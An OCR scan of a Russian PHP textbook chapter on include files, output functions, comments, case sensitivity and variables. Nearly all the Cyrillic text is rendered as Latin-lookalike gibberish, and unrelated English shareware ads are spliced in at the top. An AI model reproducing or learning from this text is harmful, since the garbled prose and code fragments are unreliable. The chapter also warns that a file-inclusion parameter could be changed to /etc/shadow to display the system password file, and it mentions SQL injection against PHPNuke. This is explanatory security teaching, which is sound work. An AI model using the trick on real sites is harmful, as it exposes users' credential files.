¢ Use the CyD Virtual Desktop to organize a busy desktop, save your time, release your work J

| and keep the applications m order, :
« Use the CyD Virtual Desktop to organize a busy desktop, mmm.nlsmmwo:k

| and keep the applications in order. :

o New Java Applets. Achnﬂnass&&ongD Software Labs. Generates real looking snow that

falls over your picture. And best of all, it is totally free| Have funl

Puc. 2.3. PeaynsTar nogkmoYeHus LWANKY W nogsana

Kak supure, HaM He Haxo nucarh Oonslloe KOIHYECTBO KOAA JUISl 3arolloBka W
noasana. JlocTaToMHO TOMLKO TNMOAKIMIOYHTL 3TH hainbl 1 UCNoAL30BaTE B CBOMX
npoexrax. Takum obpasoM, yNpom@aeTcs He TOMLKO co3naHue (DaiioB, HO U HX
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nomiepxka. JlonyctuM, yro saim caiit cocrout ua 100 daiinos n wyxHo noba-
BUTL HA calT HOBBIA nmyHKT MeHo. [lpn ucnons3osanuu cratudeckoro HTML
npuaerca usmenuTs Bee 100 daitnos u sarpyaute ux Ha cepsep. [Ipu ucnonbso-
BAHWM caiiTa W3 TpeX YacTeii JOCTATOYHO MIMEHHTH TONLKO ONMH (ailn 3aronoB-
Ka, W Bech cailT MpUMET HOBBIM BHELIHMI BUI.

Obparure BHUMaHKE, 4TO Bee noakmiovaemele daitnbl Mer nuem 8 HTML. Ecim
BBl AyMatd, 4To 91 Qaiisl gomkHsl conepxars PHP-kox, 1o 310 omwubka. [To
YMOMYAHHIO TToKIIoYaemele dalinel socnpuHumalotes kak HTML, a s roro,
y1oOBl Heroab3oBaTk B HUX PHP-uHCTPYKIMK, HEOOXOMMME! TEMH <?php W 7>,

Ecmi Bamr daiin nomken conepxars Tofbko PHP-kon, To HeoGXomumMo B camoMm
Havane nepeitt 8 pexum PHP ¢ noMouibio <?php ¥ B caMOM KOHILE [MOCTABUTH
?> st Beixona w3 pexuma PHP. Crnemure 3a tem, 4To6bl HM D0 NEPEXONa B pe-
xum PHP, HU noclie BBIXOHA M3 ITOTO PeXHUMa He BBUIO MYCTHIX CTPOK WK Mpo-
Genos. Kak Mbl y)Ke 3HaeM, Bce, YTO pacrojaraeTcs BHE STHX MHCTpyKUMil, Boc-
TIPUHHMAETCA KaK HTML—xon, H JMWHKANA npobesl MaM mycras CTpoKa MOryr
GBITh BOCHPUHATE! Kak GOopMaTHpOBAHKE, M TIOTOM BBl A0jr0 GyleTe WcKats, oT-
KY[d B3AIOCH JIHUIHES MYCTOE NPOCTPaHCTBO.

MoaxmoueHue Paiinos MOXKeET pealbHo YIpocTHTh paspaboTKy caiitos. Henapom
MHOI'HE CAHTBI MCNOIL3YIOT 3TY BO3MOXHOCTD B TOM MM MHOM npossiaeraun. Ho
Takue JieicTeus He Moryt OwiTh abcomoTHo GesonacHeiMu. [omycTHM, 4TO BBl
cosjany caifT, y KoToporo cTpaHuLlb (OPMHPYIOTCS HA OCHOBE Tpex uactei —
Ianka, UeHTp u noasair. Jis wanky 1 noasana Heobxonumo no onHomy daitny,
a U151 OCHOBHOM YacTH cailTa B OTAEJBHOM KATAIOrEe XpaHWTCH MHOXecTBO dail-
nos. Kakoii w3 stux daiinos orobpaxars — 3aBUCHT OT TEKYLUETO BhIOOpa MOJIb~
soparesisi. Bel, HasepHoe, yxe He pa3 Buieau caiitel B MIHTepHere, B KOTOPbIX
URL-aapec BRINSANT CASAyiOLIAM o6pasom:

http://www.sitename.com/index.php?file=main.html

Bce, uTo HAXOMMTCA MOCHE BONPOCHTENBHOIO 3HAKd, — 5T0 napaMeTpsl. B jaH-
HOM cllyyae B KadecTse fapamerpa nepemaercs daitn main.html, u umenso ero
caift Gyner orobpaxars s gaHroro URL 8 ocrosHol yacTu crpanmiuel. A ecan
X4Kep CMOXeT M3MEHWTb STOT napamerp Ha /etc/shadow? B stoM ciyyae Ha
CTpaHuile, B OCHOBHOI €e vacTH, JOYMBIIUIEHHUK yBUIUT daitn naponeii scex
noib3oBareseif cucremsl. XoT# TMAPONH M 3amMppoBaHbl, 3T0 YXKe NOCTATOMHO
onacHo. B pasdeae 3.4.1 mbl 6ynem obcyXmars caiiT, KOTOPBI HE MPOUIBOMHI
HEeoOXoIMMBIX MPOBEPOK, TAK YTO MHE YNANoch IPOCMOTPETh CUCTEMHBIE (aiimsl
Gnarozaps nopobHo#H olHbKe ¢ NOAKIIOYEHHEM include,

2.3. Meuatb

Mul yKe MCronb3oBaIH (GYHKUMIO print (), KOTOpas MO3BOJSAET BHIBOAWTHL NaH-
Hble, 4ToObl BHAETh pesynsrar paborsl cueHapus. [ng maneHeilero usyuenwus
HaM HyXHo nonpobGHee pazobpatbesi ¢ HOCTYNHBIMU (YHKUINAMMU BBEIBOJA, HOTOMY
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YTO, EC/IU Bbi HE CMOXETE YBUIETh peayiwTar paboTsl, TpyaHo GymeT MoOHATb U3y-
yaeMmblii Matepuan, Bee HeoGxoaRMO NMPOMYNars ¥ YBUAETh CBOMMM [71a3aMu,

Wrak, ans seiBoga MHpopManuy Ha 9KpaH/okHo Bpaysepa ecth mse (yHKLMIL
echo # print. CyliecTByer Asa BAPHAHTA BbI3oBa (GYHKUMM echo:

echo("Hello, this is a text"); '

echo "Hello, this is a text";

B nepsoM cnyyae BeIBOAMMAs CTPOKA yKasbiBaercs B ckobkax, a Bo BTOpoM ciy-
yae CTpoka yKasbiBaeTcs ueped npoben. O6a BblzoBa SKBHBATICHTHBI, M Bbl MOXeETe
HCIONB30BaTh TOT, KOTOPLIH Bam Gonpiue rnoxxoaut, Ho BuBOA He orpaHuuMBa-
eTcsl OftHO#U cTPOKOl, U Bbl MOXETE BHIBOAUTL CpPasy IO HECKOIBKO CTPOK, pasjie-
JIsist MX 3AMSTHIMA: \

echo("Hello, this is a text", "This is a text too");
echo "Hello, this is a text", "This is a text too";

@YHKUNA print () OTAMYASTCS TEM, YTO MOXET BO3IBPAIIATH 3HAYCHWE, yKalbl-
Baiolliee Ha yCHEMIHOCTh BhIMOMHeHHA 3anauu. Ecnu ¢yHkums sepHyna 1, 3ua-
YMT, Meyars npolia yaayxo, wHaye dyuxkuus sepHer 0. Ho ects M oaHo orpa-
HUYEHHE — TMEeYaTaTh MOXHO TONbKO ONHY CTPOKY, T. €. HE/Ab3s HANWCATh NBE
CTPOKM yepes 3aisTyio,

IMpumep HcoNb30BAHUA QYHKUNH print():

print{"Hello, this is a text");

2.4. Npasuna KogupoBaHua

Ecnu BBl MporpaMMupoBaiin Ha Kakux-HuGylab Asblkax seicokoro yposus (C++,
Delphi), To yxe 3HaeTe, 4TO BCE NEPEMEHHLIE NOKHBI HMETE CTPOro ONpeae/ieH-
HbIH THII, @ KOA AOKEH ObiTh oopMileH B JOCTATOMHO XECTKMX paMkax. S3nik
PHP Gojnee neMOKpaTH¥eH M HE TAK CHJILHO OrPAHMYMBAET BAC, HO IPH 3TOM
Bosblae Bcpoa'mom"b BOZHMKHOBEHMA OIMOKH BO BPCMSA BBIMOJIHCHMSA CUCHApHH,
W BAM HAMHOTO C/IOXHee obecneynTts GesonacHocTs, OYEHb MHOIO B3TOMOB Obi-
JI0 COBEPLICHO HMEHHO W3-3a OTCYTCTBAS THMM3AUMHK (YETKOro onpeieneHus TH-
na nepeMeHHo).

HonyeruM, MporpaMMHCT NOApasyMeBaeT, YTo Yeped Kakoii-to napamerp Gyner
nepenaBaThCsd YHCAO0, HO XakKep Nepeial CTPOKY, CoflepXxalyio sanpoc K Hasze
navHbix. Ecn Gbl nepeMeHHas MMeNa YeTKuit T, TO XaKep nonyquwin 6bl omu6-
Ky, TIOTOMY YTO Henb3si npeobpasosarh cTpoKy B uncino. (Takum crnocobom 6buma
BaIOMaHa cucrema ynpasnenus caiirom PHPNuke.) A us-a3a orcyrcraus runusa~
UMM TIPOTPAMMMCT JAOJUKEH CAMOCTOATENIbHO TIPOBEPATH THIT IMepeaaBaeMblX NaH-
HBIX M fpecekars JioOsle HeBEPHKIE XOJIbL.

Eciu el 3Haere s3bik nporpamyuposanus C, Java uau Perl, To muoroe sam yxe
IHakoMo, fiotoMy yro PHP ouens moxox Ha C/C++,
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2.4.1. KommeHTapum

Oc¢opmnenne kommenTapues 8 PHP cxoxe co crunem odopmienus B si3bike
nporpammuposanus C/C++ unu Java, Oro nuiuHmMit pas ykasbiBaeT HA POACT-
BEHHOCTb 3THX A3BIKOB, Yro Takoe koMmenTapuit? 1o uHGOpMamis, KOTOpas He
BIHSET HA BBIMOJIHEHWE Ko/a nporpaMmsl. Hanpumep, Bol XoTUTE BCTABHTL B KOI
TNosICHeHUe, KOTOpoe He GyAeT BBITONHATHCS M HE Oyaer BHIBOAMTECH B OKHO
6paysepa. Takoe nosicHeHue MOXHO 0OPMNUTL B BUAE KOMMEHTapHa,
KomMenTapuu ObIBAIOT OXHOCTPOMHLIMK M MHOTOCTPOYHBIMH. OXHOCTPOYHEIH
KOMMEHTApHil HAYMHaeTcs ¢ AByX casweil // (3aumcrBoBaHo u3 C++) wmm pe-
WeTKH # (3aMMCTBOBaHO 13 Linux), M BCe, YTO HAXOMMTES B Toil Xe CTPOKE TNocse
STHX CHMBOJIOB, BYIeT BOCTIDUHMMATLCH KaK KoMmenTapuit. Hanpumep:
<?php

# 370 KOMMEHTADWIA

// 97o Tome xoMMeHTapwWit

This is code // 3ro Toxe KOMMeHTapwil

7>

Kak nokasaHo 3/iech B TpeThell cTpoYKe, KOMMEHTAPUI MOXeT 3aHUMATh He BCIO
CTPOKY, a maru cpasy nocne PHP-komanmel. Takum obGpasom, Bel MOXeTe sl
KaX1o#l CTpoYKH BCTABATL nosicHexus. C NoMOLIBI0 KOMMEHTAPHEB 5 nocTapa-
10Ch AaBaTh KaK MOXHO Gojbuie MosicHeHWMH Ha nporTskeHuu Beeil kKHurM. Tax
Bam Oyner nmpolille BOCTIPUHUMATH pacCMaTpHBaeMbiif KO/,

KoMmenTapuu MOryr 6bITb ¥ MHOPOCTPOYHBIMM, HAMPHMEpP, TEKCT, OMUCHIBAIO-
I BOSMOXHOCTH MOIYNS WIKM CONEpXAllnii KAKYIO-TO BCITOMOIATENBHYIO WH=
dopmanmio. Takolt KoOMMEHTapHil HaYMHAETCH C CHMBOJOB /* M 3aKaHYHBAETCS
cumsoamu */. Ol GyaeT BHIIIAAETD CIEAYIOWMM 0Bpasom:

<?php

Kon

/*  BSro xomveHTapui

370 TOmE KOMMEHTADIA

¥ 3TO KOMMEHTApPWH

*/ A D70 yEe HE KOMMEHTADMWI, 316Ch MOXeT GHTE TONBKO KOX

Kox

7>

Xowy obparuTh Balle BHHMaHWe Ha TOT (akT, YTO BCE 3TO MOXHO MUCATH TOIBKO
B pexxume PHP. Ecjii Hanvcats Takoit kommentapuit B HTML, To oH Gyaer Bbi-
BelieH B okHo Gpaysepa, notoMy uro B pexume HTML Ac-ﬁcrsym COBEPUICHHO
npyrae npasuna odopMIeHHS KOMMEHTApHEB.

TMpu co3gaHiy CBOMX COGCTBEHHEIX NPOTPAMM oﬁsaammm WCTIONb3YHTE KOM=
MeHTapui, BOABIIMHCTBO HAMMHAIOLIMX, A4 H OTILITHBIX, MPOrPAMMUCTOB JYMAeT,
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YTO OHH H TA4K MPeKpacHo 3HaloT cBoit Koa. Ho 3to Tonbko Ha arane paspaborku.
Tlpoitner mecsill, ¥ KOraa Bam nNOHAAOOWTCS BHECTH Hebonbioe M3MEHEHME,
TIpUIeTCsl TPATUTH BPEMA Ha To, YToObl BCTIOMHHTH CBOW KOI, M 9TO OH AEHAET.
Yro6el nerye GsUIO YuTATH coﬁc'meuﬂhﬁi KOIl 4eépe3 HeKOTopoe Bpemsi flocie 3a-
BeplIeHUs MPOEeKTa, BBl JIO/DKHBI C CAMOro Havyaja KOMMEHTHPOBATH BCE CBOM
neiicreus, ToBepire MHe, MyYile MOTPATHTL NMAPY MMHYT HA HaNHCAHWE KOMMEH-
Tapusl cpasy, YeM MOTOM AECATKU MUHYT Ha To, YTOOL! BCNIOMHUTL, [UIS YEro Bhl
[UCAIH KAKME-TO KOMAHIB! WM 384eM HYXXHbl KAKUE-TO MepeMeHHBIE.

Sl mocrapaioch HA NPOTSDKEHWMH BCEH KHWTM TPHYYMTH BAC UCMONB3OBATH KOM-
MEHTapiH, a Bbl He JOMKHBI MpeHebperaTh 3TOH BOIMOXHOCTHIO. TONBKO TAK BHI

COKOHOMUTE BpEMSI B MOCNEOYIOUIEM COMPOBOXIEHUM KOAA W HCHpaBjieHun
ounbok.

2.4.2. HyBCTBUTENBHOCTD

Aszvik PHP He uyBctBuTENneH K npobenaM, nepeBoiaM CTPOKH WM 3Hakam Taby-
nsuEK. DTO 3HAYUT, YTO Bbl MOXETe paaleNisiTh OAHY KOMAaHIy Ha HECKONbLKO
CTPOK WM OTAeNATh MEPEMEHHBI, 3HAYCHHS WIH ONeparops! PasiuYHBIM KOMU-
yecTsoM rpobenos. Hanpumep:
<?php

Sindex = 10;

Sindex = 10 + 20;

5index=10+10;

S$index=

10

+

10;
7>

C touku spexnsi PHP sect stor Ko Koppekren u Gyaer npasuibHo orpaboran.

Kaxnas xomanna B PHP 3akanupsaerca Toukoit ¢ sanaroi (;). Takum obpasom
UHTEPIPETATOP OTHENsIeT O/HY KomaHny ot apyroi, He 3absiBaiite crasurh 5TOT
3HAK, NOTOMY YTO H3-33 €r0 OTCYTCTBHS MOTYT BOZHHKHYTH COBEPUIEHHO HEIpen-
cKajyembie OIMOKH, 110 KOTOPLIM TPYAHO ONpPEAeNHTb, YTO OTCYTCTBYET MMEHHO
pasaeliiTe/Ilb KOMaHIl.

Bnaronapsi pasnesmMrTenio oaHy KOMaHIy MOXHO 3alUChiBaTH B HECKOABKO CTPOK
WIX HECKONBKO KOMAaHI B OfHY crpoky. MHTepniperarop cMmoxer HaliTu Hauano
M KOHEl KOMAHIBI [T0 PA3/IeTHTeNI0.

Sapik PHP uyBcTBHTENEH K perucrpy CHMBOJOB. DTO 3HAYWT, 4YTO MMEHA Tepe-
MEHHBIX, HAMHCAHHBLIE B HHAKHEM PErHcTpe M B BepxHeM, OyayT BocrpuHMMaThCs
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Kak pasubie, MHore HAYMHAIOIIWE TPOrPAMMUCTBI JOMYCKAIOT M3-3a 3TOTO
o4eHb MHOTO olKubok. PacemoTpum nmpumep:
<?php

$index = 10;

$Index = 20;

print ($index) ;

print (5$Index) ;

7>

B pesynbrate Mel yBumum cHavana sucio 10, a morom 20, notomy 4TO nEpeMeH-
Hble $index M $Index OyAyT BOCHPHHMMATBCS KaK pasHbie M3-33 OTAWYMS B pe-
ructpe nepsoit Oyksbi. Eciu 661 PHP 6bin1 He wyBCTBUTENLHBIM K PErHCTPY, TO
obe repeMeHHBIE YKA3bIBANIH HA OJIHY M Ty Xe Ayeilky namatu. B atom cmyuae
B MepBoil CTpouKe Koia Mbl 3amucaau Gbl B 3Ty sueitky namsiti uucio 10, so
BTOpOit — 20, a norom ABAXKIbI HAEYATATH Obl 3HAUEHKHE OMHOM U TON XKe Aveii-
KU NaMATH.

Wrak, Gyabre BHUMATENLHLI NPH MCIOMBIOBAHUN WUMEH MepeMEHHbIX. Cnmyro
wmit KOJ KACT He TOT PesyJIsTat, KoTophiil Bbi OKIATH:
<7php
Sindex = 10;
print ($Index) ;
?>

31ech MBI TIepeMeHHOI $index npucBanBaeM aHauenue 10, a BLIBOAKUM U Teuara-
eM nepeMeHHyl0 $index. M3-3a TOro, YTo 3TH nepeMeHHble pasHble, Ha SKpaH
6yseT BbIBElEHa $Index, KOTOPONl He 6BUIO NPUCBOSHO 3HAMEGHME, @ 3HAMMT,
B pe3y/IbTaTe Mbl NONYYHM BHIBOI HA 3KPaH MycToil mﬂm MaMSITH, W MOTB30Ba-
Tellb HUYEro He YBHIHT.

Yrobel y Bac GsUI0 MeHBIIe OlMGOK B MporpamMmax, NULIKTE BCE HAIBAHUS Ie-
PeMEHHBIX B OAHOM perucTpe. Sl pexoMeHayi0 HCHONL30BATH HIDKHMIL perucrp
ans Beex Gyks. B aroMm curyuae BepoOATHOCTH HENPABWILHOIO TOJIKOBAHMSI KOMd
CBOMMTCH K HYIIO,

Ho 3T0 oTHOCUTCS TONBKO K llepeMBHHhtM Oneparopsl siasika PHP moryr 66T
Hanucansl B yioGoM permcrpe. Hanpumep, ectb oneparop ycioBHOro nepexona
i (ycnoswe) nelicTemel else peitcremel, KOTOPBIil TIpoBepseT YCIOBHE, H
eCIi OHO nepuo TO BBINIONHAETCS meficTenel, WHAYE BBINONHSAETCH meicrTeuel.
HemHoro moske Mbl Gynem paccMarpuBarh BCe MOAOOHBIE ONMEpaTopsl, & 3AeCh
HaM B@KHO YBHIETh, YTO 9TH kinouessie ciosa PHP moryr Guith Hanucausl
8 Jiobom perncrpe. Mrak, mocMoTpuM Ha ceayomuit Ko

<?php
$index=1;
if ($index==1)
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print('true');
else
print(‘'false');
>

3neck Bce HAMHMCAHO B HUXHEM perncrpe, HO HUKTO HEé MelliaeT Hanuearbk 3To
B BEPXHEM PETHCTpe WM [aXe BIIepeMeLiKy:
<?php
$index=1;
If ($index==1)
print('true');
ElsE
print('false');
>

3nech KIOYEBBIE CNOBA if W else colepxar GYKBBI B PasHbIX perucrpax, M 3To
He siBasieTcst owMbKoi. YyBCTBUTENBHOCT NPOSIBASETCA B OTHOWEHNM UMEH Me-
PEMEHHBIX M Ha3BaHWil npouenyp/GyHKuMil, HO He TAKMX KITIOYEBHIX cioB, He-
CMOTPSl Ha 3TO, A PEKOMEHAYI0 IHCAaTh KIIOYEBbIE CJIOBA B HHXHEM PErWCTpe,
NOTOMY YTO B GYAYHIMX BEPCHSIX MOXET MOSBHUTHCA YYBCTBHTENBHOCTh K PErHCTPY
9TMX KOMAHI, M TOIA NMPHMAETCA MOTPATHUTH MHOIO BpPeMEHHW HA HClpasieHue
omnboK.

2.4.3. NepemeHHbie

MBl yXe HeMHOTO TOBOPMIIM © TIEpEeMEHHBIX W 3HAEM, YTO MepeMeHHas — 3To
o6nacTh NamsITH, B KOTOPO MOXHO XpPaHWTh KAKHE-TO 3HAYEHUS M oOpalaTses
K 9ol namaTH no umenn. Ham HesawHo, rae Gyayr XpaHWTbCs MepeMeHHbie,
MOTOMY 4TO MX JHAYEHWA BCELAA MOXHO MONYYHTh WIKH H3MEHHTb, MCIOML3YA
umeHa. [lepemenuste B PHP obnanaior crenyiouinMm cBofcTBaMM:

O Bce WMeHa NepeMeHHbIX NOMKHEL HAYKHATLCA CO 3HAKA Aosurapa ($), u 1o T1a-
KOMY 3HaKy WHTEpIIPETaTOp OMpPEHENsierT, YTo 3T0 NepeMeHHa;

0 3HaueHWe MEepeMEeHHONH — 9TO 3HaYeHHe, KoTopoe BbUIO 3anMHUCcaHO B Hee [10-
CHIC/IHHAM;

M ecnu Bel paBoTanu ¢ TAKMMM S3BIKAMU nporpaMMmupoBaHus, kak C++ win
Delphi, To 3Haere, uyTo NepeMeHHbIE NODKHLL ObiTh CHAaYaNa oOBsIBICHBL, & MO-
TOM yXe MOryr ucnonbsoBatecsi. B PHP oGuspnenust He sisnsiioresi o6sisa-
tenbHeIMA. TlepeMenHas HauMHAET CYLIeCTBOBATh C MOMEHTAa NPHCBOCHMS eil
3HAYEHMs MM C MOMEHTA nepBoro ucnonb3osanusa. Ecniu ucrmonp3oBaHue Ha-
YyyHaeTcsl PaHbIIE NPUCBOGHHA, TO NMepeMeHHas Oyner coaepxaTh 3HaAYeHUe
10 YMOAYAHHIO,

O nepemeHHON He HasHavaercs onpemeieHHbif THN. Tun onpenensiercs Xpaws-
MM 3HAYEHUMEM M TeKyllei onepanmeii.
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Uma nepeMeHHOl HayuHAaeTCsl CO 3HAKA $, 10CHE KOTOPOTO MO/DKHBI MATH JO-
Gele naTuHCKue OykBbl, UMdpPLI WK 3HAK noauepkusaHus. Ho nepssiM cumBo-
JIoM rocjie 3HaKa § obsasaresbHO A0MKHA OpiTh Oyksa. Crapaiitech naBars nepe-
MEHHBIM MMEHA, KoTophie OyayT OTpPaxaTh CMBLICH COAEPNKAUIErocs SHAMSHMS.
Ecnn Bce nepemeHHbie HA3LIBATL KAK $paraml, $param2, Sparam3 W T, i, TO MO
WCTEYCHWM HEKOTOPOro BPEMEHM Bbl HE CMOXETE BCTIOMHHTH, JUIS YEro Bhl 00b-
ABANH TIEPEMEHHYIO C MMEHEM $paramz, 4TO OHA JOMKHA XDAHMTb M KaK HC-
TIONB30BATHCSL. !

INpu uMeHoBaHUN nepeMeHHOM oﬁnsmwo HCTIONB3YHTE CMBLICIOBYIO HArpysKy.
Hanpumep, eciiu BaM HyXHO COXPAHUTh TAE-TO CYMMY Kakux-mubo HHCeNR, To
33aBEINTE UISI 3TOTO NepeMeHHyl $sum. Ecin pam HYKEH CYeTYHK (MsI Oynem
paccMaTpUBaTh HX, KOTa JOMAEM IO LHKIOB), TO XOPOUIMM BapHAHTOM ABAsSETCS
MM TIepeMeHHON| $1i. D10 OBLIENPHHATOR NPaBWIo MPH paGoTe CO CHETYHKAMI.

[ 3anucH 3HAYEHKs B [MePEMEHHYI0 HCIOablyercs 3HAK paseHcrsa, Cresa yka-
3LIBACTCA MM TIEPEMCHHO, @ CripaBa 3HayYeHue, KOTopoe Heoﬁxo,rmuo B Hee 3a-
nucarhb: ,

$lhaa DepeMeHHOl = SHadeHUe]

B PHP ecTb Tpi OCHOBHBIX THIIA NEPEMEHHBIX — YHC/IOBOMN, CTPOKOBBI H JIOTH-
yecknit. C nepmu nBymst Bee TonsiTHO. Ecim 9T0 YMCN0, TO MepeMeHHan co-
MEPXKHT YHCTOBOE IHAYEHHE, M Mbl YXKE WCTIONL3OBAIM TAKKe repeMernbie, [Tpn
oOBABNEHNH CTPOK JHAYSHNE 3AKNIOHACTCS B NBOMHBIE MM OAWHAPHBIE KABBIYKH:
$str = 'Sro crpoka’; .
S$str = "3ro Crpoxra";

B uem pasumua mexay sTMMuU aByms crpokamu? JlonyctuM, YTo BaM HYXHO Bbi-
BECTHM HA MeYark 3HaYeHue nepeMeHHoll Sindex. DTO MOXHO CHENATH, €C/iK Ne-
PEMEHHYIO BCTABUTE TIPAMO B TEKCT CTPOKM:

Sindex = 10;

$str = 'Index = §index';

Sstr = "Index = Sindex";

Ecau BeIBECTH Ha 3KpaH 3HAYEHME NMEpPEeMEHHOIl $str, TO B MEPBOM clyyae Ha
3KpaHe MBI YBMIMM TeKCT Index=$index, 4 BO BTOPOM Index = 10. Ecau Bbi
UCTIONB3YETe ABOIHbIE KABBIYKM, TO BCE MEPEMEHHbBIC BHYTPH CTPOKH ﬁy,lg'r HH-
TeppPeTHPOBATLCS 110 3HAYEHHIO, T. €. NEPEMEHHas BGyIeT 3aMEHATHCS ee 3Haue-
HueM. Eciu uMCnons3yioTes OnMHAPHBIE KaBbIMKH, TO TEKCT BBIBOAMTCHA MONHO-
cThi0, 6e3 npoBepku M H3MeHeHws, yto Gyaer Hemuoro Geicrpee. [Toaromy eciau
B CTPOKE HET IepeMEHHEBIX, 3HAYeHNe KOTOPBIX HYXHO BBIBECTH, TO MCHONB3YliTe
O/IHHAPHBIE KABBIYKH, YTOGE! HHTEPIIPETATOP HE CKAHHPOBAN NHLIHHIT pa3 cTpo-
Ky. DTO MOXET NOoBBICUTH Npou3BoIMTEALHOCTE. He crouT Besge menonn3oBarh
NBOMHBIE KABBIYKH TONBKO M3-3a TOTO, YTO OHH YHUBEPCATBHBIL.
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CrpokoBbie TepeMEHHBIE MOXHO pasbuBaTh Ha HECKONBKO CTPOK, €C/IW Bbl HE
XoTuTe, yToObl B OKHE pejakropa cTpoka Oblia CAMIIKOM UIHHHOK. DTo aemaercs
crefyloliM obpasom:

$str = "This' is a string.

PHP is a next generation of WEB programming.
You will like this";

Kax Bumure, pasgeiieHue MpOUCXOAMT IOCTATOYHO Mpoeto. He HYXKHO HMKakmx
JONOTHHUTENbHBIX YCHJTMI: NPOCTO flepeHOCUTe Bee HAa HOBYIO cTpoKy. MHTrepnipe-
tatop PHP cam ofpeneinT Havano u KOHel[ CTPOKH MO KaBbINKAM, OTAENSIOUIM
CTPOKY. :

[Tpu HanUcaHUM MHOTOCTPOYHBIX CTPOK i PEKOMEHAYIO BO BCeX CTPOYKAX KO,
CONEPXAILMX MEPEHOC, AENaTh Haﬁoghmoﬁ oTcTyn, YTobbl 6BIIO BMAHO, YTO 3T0
HEe HOBasi CTPOYKA KOJ4, 2 MpollobkeHue npensitymeit. Tak Gyger npoure motom
YUTATh KOJl MTPOTPAMMEBEL.

A uro Takoe jormuecknit Tun? Takas nepeMeHHas MOXET COAEPXATh 3HAYEHME
true, T. €. HCTHHA (moboe 3Hayenue, 6onbiuee 1), win false, T. €. JOXb (3HAYE-
HME, paBHOe Hym0). B siBHOM BMIE Takue MEpeMEHHBIE HE WCTONbL3YIOTCH, HO
3TOT TUN HeoGXoAMM Wi NOHUMAHUS Jorvyeckux onepaumit. Hanmpumep, msi
YXKe paccMaTrpuBay ONepauuio if..else, KoTopas nposepsier Kakoe-nubo ycno-
BHE. DTa MPOBEPKA KaK pa3 W BO3BPallaeT JOrMYECKOE 3HAYCHHE true WIH
false. Ecnu yTBepXIeHHEe BEPHO, TO Pe3yabTaTroM GylieT HCTHHA, HHAYE JIOXb.

Ecnu kakasi-ro NEpeMeHHasi WCIOAL3YeTCs PaHblle, YeM eil MpUCBOeHO 3Ha4e-
HHE, TO ByleT NMPUCBOEHO 3HayeHHe no ymonyauuio. Kax xe onpegennts snase-
HUE 1O YMONYAHWIO, eciw HeuasecTeH THN? TUn MOXHO OMPENEAUTh M TIO KOH-
Tekety kona. Hampumep, ecnu Han nepeMeHHON BHIMTONHSETCS MaTeMaTHyeckas
onepaius, KoTopas MoipasyMeBaeT HCMONb30OBAHWE YMCHA, TO B MepeMeHHYIo
Gyner sanuca”o sHayenue (. Ecau 3T0 CTPOKOBas ONEPALMS, TO PE3yNbTaTOM
Gyner nycras cTpoka.

Kak y3narp, npucsoeHo nu 3Hauenue nepemeHHoit? s sroro ects GyHKuUMsA
IsSet (mn nepemenson). ITOM QYHKUMK HY)XKHO Nepenarth B KayecTBe napamer-
pa B ckobKax uMs NepemMeHHON, ¥ ecK OHA CONEPXKUT JHAYCHUE, TO PE3YALTATOM
6yner true, vHaye false. PaccMOTPUM npuMep, rnokasaHHbil B AMCTHHTE 2.5

<?php

if (IsSet($index)) _
print('Nepementas yCcrauosmena’); // Nepemennas ycraHosnexa

else

print ( '[lepemeHdas He ycraHoBneda'); // llepemeHHas He YCTaHOBNSHA
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Sindex = 1;

if (IsSet($index)) ™

print ('Mepemensan ycraHoBneHa') ; // llepemennan ycTa:noBIEHA
else

print('Mepemennan He ycrawosneHa'); // lNepemennas ue ycwanbanaaa
>

Tociie mepBoii MPOBEPKM Mbl YBHAMM, YTO MepeMeHHas $index He yCTaHOBIEHA.
3aTeM B TEpeMEHHYIO 3anuchIBACTCS 3Hayenue. Bropas mposepka MOK@KET, 4TO
nepeMeHHas yXKe yCTaHoBIeHa.

Tak Kak y nepeMEHHBIX HET ONPENENEHHOTO THIIA, MBI MOXKEM NpHCBAMBATE MM
YTO YTOMHO, & CHCTEMA YXe caMa pasGepercs, 4TO 3aNHChIBATH:

Sindex = 1; 0o duene
SEl = 3.14; 1 // llpofSHoe wmciO
S$str = '"3ro crpoxa'; // Crpoxa

Tun nepeMeHHOMN ONpenenseTcs Mo KOHTEKCTY, B chmpoM oHa Haxoauresi. Ha-
npuMep:

§str = "10';

$index = 2 * &str;

Ha nepshiif B3risu, JaHHAs Onepanysi HeBo3MoXHA. B nepsoil cTpoke Y Hac coana-
ercs INepeMeHHas $str, Kotopas Oyser XpaHuTb CTPOKY '10'. Bo sropoit crpoke
YUCAO 2 YMHOXKAETCS HA CTPOKY M3 nepeMeHHOM sstr. Ha Hepssiii B3risiL, Hebas
YMHOXaTh YHCIO HA CTPOKY, M 3TO BEPHO JUISl GOMBIUMHCTBA S3BIKOB MPOrPaMMIt-
pOBaHHS. Hmpupe’ra'mp PHP ysumut, uto B nepeueﬂhoﬂ $str HAXOAMTCH CTPO-
Ka, KOTOPYIO JIErKO [peobpasosarh B MHCHO, U BEITOTHUT upeoﬁpaacna}me B pe-
3y/ILTaTe B NepeMeHHON §index Gyner conepxarnes 3Hauenne 20.

$str = '10';

$index = 2 * §str;

print ("Pesymerar = $Sindex");

B naHHoMm ciydae B riocnesHeil cTpouke Koia Mul nedaraem crpoky. B Heil ecTs
CCBUIKA HA MEepeMEHHYIO, COMepXkKallylo YHCIo, HO BipeayibTare Mbl MOAYYHM Ha
akpaHe Teker: "Peaynprar = 20". Yucno asroMatudecku npeobpasoBbiBaeTcs
B CTPOKY H KOPPEKTHO BBIBOIMTCS HA SKpaH. .

Kak Buaure, THI He 3aBHCHT OT TOTO, YTO MBI 3AMMCAIN B MEPEMEHHYIO, H Onpele-
Jsercs] no KoHTtekery. Eciu B AaHHOM KOHTEKCTE COAEPKHMOE nepeMeHHOi He
MoxeT GBITh MpounTaHo, To GyAeT ucroNb3oBaThes HyneBoe 3Havenue. Hanmpumep:
8§str = 'rl0'; 4

$index = 2 * $str;

print(*Result is $index");
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B nanHoM ciy4ae B nepeMeHHoil $str HAXOAWTCSA CTPOKA, KOTOpass He MOXeT
6LITh MepesefieHa B 49HEI0, T. K. Memaer 6yksa r. [lpy ymMHOXeHWH ynena 2 Ha
3Ty TepeMeHHyl0 npeobpazosaHne OymeT HeBO3MOXHO, W Yuciao 2 Gyner ymHO-
xeHo Ha 0. B peaynprare Mbl MOAYYHM HYJIEBOE SHAYEHUE.

A 4YTO €C/IM HAIMMMCATH CeAYIOLINA KoM
print(3*"hello"+2+TRUE) ;

TonpoGyiite mnpenckasars, kakoil mnomyuntes pesynsrar? Cpasy coobpazuThb
CJIOXKHO, NMO3TOMY JaBaiiTe paccyjaars, Kak 3Ty onepauuio Gyner obpabatbisarh
